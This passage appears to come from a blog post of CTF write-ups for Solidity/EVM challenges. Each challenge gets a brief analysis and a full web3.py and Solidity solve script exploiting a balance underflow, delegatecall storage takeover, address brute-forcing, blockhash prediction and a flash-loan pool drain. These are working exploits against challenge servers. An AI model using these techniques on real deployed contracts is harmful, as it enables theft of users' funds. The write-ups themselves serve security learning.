&lt;pre id=&quot;code_1680232433308&quot; class=&quot;sol javascript&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	function transfer(address _to, uint _value) public returns (bool) {
	    require(balanceOf[msg.sender] - _value &amp;gt;= 0); // vulnerable
        //...
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;attack.sol&lt;/p&gt;
&lt;pre id=&quot;code_1680232499257&quot; class=&quot;solidity armasm&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Attack {
    ExistingStock victim;

	constructor(address _victim) {
        victim = ExistingStock(_victim);
    }

    function attack() public {
        victim.transfer(address(victim), 300000);
        victim.privilegedborrowing(0, address(0), address(victim), abi.encodeWithSignature(&quot;approve(address,uint256)&quot;, address(this), 300000));
        victim.setflag();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;attack.py&lt;/p&gt;
&lt;pre id=&quot;code_1680232558814&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;http://8.218.239.44:8545&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0x503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695
input()
myAddr = Public_Address
cont = &quot;0x1DA8b515684B65D23aEFF860F06f2957D37E6E4D&quot; # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

send_ether(myAddr, &quot;0x6B18e0E7Aec85A4c7811eDb94615bd3f582873dA&quot;,prikey, 10**14)
input()

def attack(my_addr):
    f = open('att.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=my_addr, abi=abi)
    func_call = contract.functions[&quot;attack&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def attack_deploy():
    f = open(&quot;att.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;att.bytecode&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(cont).buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

attack(attack_deploy())

# flag{0xda0b5e252cfd5b31e5849642f549134fb5304d6c}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Counter&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The constructor of Deployer contract takes an argument of type 'bytes' and inserts bytecode by using inline assembly.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I am curious about how this works!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Have you heard honeypot?&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It is deployed by using this technique.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hackernoon.com/how-to-exploit-a-solidity-constructor&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://hackernoon.com/how-to-exploit-a-solidity-constructor&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The challenge requires the length of code is less than 25.&lt;/p&gt;
&lt;pre id=&quot;code_1680244505469&quot; class=&quot;sol lisp&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;require(code.length&amp;lt;=24);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, it is known general contract code is greater than 24 because they have dispatch routine.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In order to reduce, we use inline assembly instead of solidity.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680244881496&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{           
    sstore(0x0, caller())
}
// solc --yul --yul-dialect evm want.yul | grep Binary -A1
// 33600055&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In the code&lt;/p&gt;
&lt;pre id=&quot;code_1680245064541&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    function A_delegateccall(bytes memory data) public{
        (bool success,bytes memory returnData)=target.delegatecall(data);
        require(owner==msg.sender);
        flag=true;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It callls by delegatecall so that the storage in the context of target contract is owned by caller.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;pre id=&quot;code_1680245216128&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;http://8.218.239.44:8545&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = &quot;0xB76E110cEb5e6F81Ed4b6437506609d11242cAE2&quot; # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

send_ether(myAddr, &quot;0xBd3AAb59754ab0735c7F735e51Ebb338E0d2E20d&quot;,prikey, 10**15)

def create(code):
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;create&quot;](code).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def A_delegateccall(data):
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;A_delegateccall&quot;](data).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)


def attack_deploy():
    f = open(&quot;att.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;att.bytecode&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(cont).buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

create(b&quot;\x33\x60\x00\x55&quot;)
A_delegateccall(b'\x00')

# flag{0x6625dba6b9f07bfde3ca3423cd4c66bcf68d41e4}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Exist&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The goal is to call share_my_vault().&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It verifies that whether caller is EOA and caller's address should pass is_my_family().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can easily bypass the logci of is_my_family() by bruteforcing. (requirng 1 second)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;find.py&lt;/p&gt;
&lt;pre id=&quot;code_1680245710916&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
from pwn import *
w3 = Web3(Web3.HTTPProvider(&quot;http://34.141.16.87:30201/6641d991-702c-43ad-9d84-c3b4f58ad327&quot;))

def check(addr):
    addr = int(addr, 16)
    # addr = long_to_bytes(addr)

    code = 0xffff
    feature = bytes_to_long(b&quot;ZT&quot;)

    for i in range(34):
        if addr &amp;amp; code == feature :
            return True
        
        code &amp;lt;&amp;lt;= 4
        feature &amp;lt;&amp;lt;= 4
    
    return False


for i in range(0xffff):
    pk = hex(i).ljust(66, &quot;0&quot;)
    addr=w3.eth.account.from_key(pk).address
    if check(addr):
        print(i)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py&lt;/p&gt;
&lt;pre id=&quot;code_1680245727297&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;http://8.218.239.44:8545&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = hex(289).ljust(66, &quot;0&quot;)


# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = &quot;0x1c7A93d106b832F34BFC734286F1d70381c15479&quot; # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

# send_ether(myAddr, &quot;0x3dC10F8Ec58aE18077DF7dfe6Be95e22B4Aefc9b&quot;,prikey, 10**15)
# input()

def share_my_vault():
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;share_my_vault&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def setflag():
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;setflag&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def attack_deploy():
    f = open(&quot;att.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;att.bytecode&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(cont).buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

share_my_vault()
setflag()

# flag{0x58c71576485889cc367b4cb238ab719c3c2f7f70}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Hexp&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;pre id=&quot;code_1680245850441&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;3d602d80600a3d3981f362ffffff80600a43034016903a1681146016576033fe5b5060006000f3&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1680245879787&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;abel_0000:
	// Inputs[3]
	// {
	//     @0000  returndata.length
	//     @0006  returndata.length
	//     @0009  memory[returndata.length:returndata.length + 0x2d]
	// }
	0000    3D  RETURNDATASIZE
	0001    60  PUSH1 0x2d
	0003    80  DUP1
	0004    60  PUSH1 0x0a
	0006    3D  RETURNDATASIZE
	0007    39  CODECOPY
	0008    81  DUP2
	0009    F3  *RETURN
	// Stack delta = +1
	// Outputs[3]
	// {
	//     @0000  stack[0] = returndata.length
	//     @0007  memory[returndata.length:returndata.length + 0x2d] = code[0x0a:0x37]
	//     @0009  return memory[returndata.length:returndata.length + 0x2d];
	// }
	// Block terminates

	000A    62    PUSH3 0xffffff
	000E    80    DUP1
	000F    60    PUSH1 0x0a
	0011    43    NUMBER
	0012    03    SUB
	0013    40    BLOCKHASH
	0014    16    AND
	0015    90    SWAP1
	0016    3A    GASPRICE
	0017    16    AND
	0018    81    DUP2
	0019    14    EQ
	001A    60    PUSH1 0x16
	001C    57    *JUMPI
	001D    60    PUSH1 0x33
	001F    FE    *ASSERT
	0020    5B    JUMPDEST
	0021    50    POP
	0022    60    PUSH1 0x00
	0024    60    PUSH1 0x00
	0026    F3    *RETURN&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Let's interpret runtime bytecode&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680245987892&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;assert (blockhash(block.number - 0xa) &amp;amp; 0xffffff == gasprice())&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py&lt;/p&gt;
&lt;pre id=&quot;code_1680246066871&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;http://8.218.239.44:8545&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = &quot;0xB76E110cEb5e6F81Ed4b6437506609d11242cAE2&quot; # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)
    print(transaction_receipt['blockHash'])
    return transaction_receipt['blockHash']


from pwn import *


r = remote(&quot;8.218.239.44&quot;, 24000) # nc 8.218.239.44 24000
r.sendlineafter(&quot;t your choice: &quot;, str(1))
r.recvuntil(&quot;deployer account: &quot;)
needed_addr = r.recvuntil('\n')[:-1].decode()
r.recvuntil(&quot;token: &quot;)
token = r.recvuntil(&quot;\n&quot;)[:-1].decode()
r.close()
block_num = send_ether(myAddr, needed_addr,prikey, 10**15)

print(needed_addr)
print(token)


r = remote(&quot;8.218.239.44&quot;, 24000) # nc 8.218.239.44 24000
r.sendlineafter(&quot;t your choice: &quot;, str(2))
r.sendlineafter(&quot;input your token: &quot;, token)
# get
r.recvuntil(&quot;contract address: &quot;)
cont = r.recvuntil(&quot;\n&quot;)[:-1].decode()
print(cont)
r.close()

from Crypto.Util.number import *
# 현재 블록해시 읽어오기



def create(target):
    f = open('cont.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;f00000000_bvvvdlt&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: target,
        &quot;gas&quot;: target,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)
from web3.middleware import geth_poa_middleware

w3.middleware_onion.inject(geth_poa_middleware, layer=0)
cur = w3.eth.get_block('latest')['hash']
print(cur)
target = (bytes_to_long(cur)) &amp;amp; 0xffffff

i = 0
while i &amp;lt; 10:
    try:
        create(target)
    except Exception as e:
        print(e)
        continue
    print(&quot;success&quot;)
    i += 1

print(token)

# flag{0xdd4672257e7adf56f0896c33747caf793fcd1e53}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;LenderPool&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Its goal is to steal the pool's balance and it provides flashloan of token0.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can repay by swap() that we can get token1 instead of transfer() that we can not get anything.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.sol&lt;/p&gt;
&lt;pre id=&quot;code_1680246624008&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pragma solidity 0.8.16;

contract Attack {
    IERC20 public immutable token0;
    IERC20 public immutable token1;
    LenderPool public immutable lender;
    constructor(address _token0, address _token1, address _lender) {
        token0 = ERC20(_token0);
        token1 = ERC20(_token1);
        lender = LenderPool(_lender);
    }

    function receiveEther(uint256 amount) public {
        lender.swap(address(token1), 100 * 10**18);
    }

    function attack() public {
        token0.approve(address(lender), 100 * 10**18);
        token1.approve(address(lender), 100 * 10**18);
        lender.flashLoan(100 * 10**18, address(this));
        lender.swap(address(token0), 100 * 10**18);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py&lt;/p&gt;
&lt;pre id=&quot;code_1680246636489&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;http://8.218.239.44:8545&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = &quot;0xB76E110cEb5e6F81Ed4b6437506609d11242cAE2&quot; # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)
    print(transaction_receipt['blockHash'])
    return transaction_receipt['blockHash']


from pwn import *


# r = remote(&quot;8.218.239.44&quot;, 30000) # nc 8.218.239.44 30000
# r.sendlineafter(&quot;t your choice: &quot;, str(1))
# r.recvuntil(&quot;deployer account: &quot;)
# needed_addr = r.recvuntil('\n')[:-1].decode()
# r.recvuntil(&quot;token: &quot;)
# token = r.recvuntil(&quot;\n&quot;)[:-1].decode()
# r.close()
# block_num = send_ether(myAddr, needed_addr,prikey, 10**15)

# print(needed_addr)
# print(token)

# sleep(2)

# r = remote(&quot;8.218.239.44&quot;, 24000) # nc 8.218.239.44 24000
# r.sendlineafter(&quot;t your choice: &quot;, str(2))
# r.sendlineafter(&quot;input your token: &quot;, token)
# # get
# r.recvuntil(&quot;contract address: &quot;)
# cont = r.recvuntil(&quot;\n&quot;)[:-1].decode()
# print(cont)
# r.close()

from Crypto.Util.number import *
# 현재 블록해시 읽어오기

cont = &quot;&quot;

def attack_deploy():
    f = open(&quot;att.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;att.bytecode&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(&quot;0x9510BADedc6B17e570d03BF61889072a5c53B512&quot;, &quot;0xCF3E2e53eD9EF06DA74AaAE9d688bba957748209&quot;,&quot;0x3363E49A69a80d42859f1eb1441953a4b13cF9ad&quot;).buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

def attack(my_attack):
    f = open('att.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=my_attack, abi=abi)
    func_call = contract.functions[&quot;attack&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

attack(attack_deploy())

